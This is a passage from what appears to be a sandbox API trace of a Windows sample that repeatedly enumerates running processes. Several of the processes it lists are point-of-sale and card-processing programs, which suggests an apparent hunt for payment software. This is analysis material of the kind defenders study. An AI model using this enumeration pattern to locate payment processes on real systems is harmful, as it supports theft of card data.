th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0113.685] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0113.759] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0113.763] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0113.766] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0113.768] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0113.773] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0113.775] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0113.778] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0113.780] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0113.785] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0113.787] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0113.790] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0113.794] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0113.798] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0113.801] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0113.803] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0113.806] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0113.809] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0113.811] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0113.814] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0113.816] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0113.819] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x2a4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0113.821] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0113.824] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0113.826] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0113.829] CloseHandle (hObject=0x20c8) returned 1 [0113.829] Sleep (dwMilliseconds=0x64) [0113.940] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x20ec [0113.956] Process32First (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0113.958] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0113.960] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0113.962] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0113.965] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0113.966] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0113.968] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0113.970] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0113.974] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0113.984] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0113.994] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0113.996] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0113.999] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.001] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.003] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.005] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.008] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.010] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.012] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.014] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0114.016] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.018] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0114.020] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0114.022] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.024] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0114.027] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0114.029] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0114.031] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0114.033] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0114.035] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0114.037] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0114.039] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.041] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0114.042] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0114.044] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0114.046] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0114.049] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0114.051] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.053] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0114.057] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0114.061] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0114.063] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0114.066] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0114.068] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0114.070] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0114.073] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0114.077] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0114.079] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0114.081] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0114.086] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0114.089] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0114.091] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0114.094] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0114.096] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0114.099] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0114.101] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0114.106] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0114.109] Process32Next (in: hSnapshot=0x20ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, 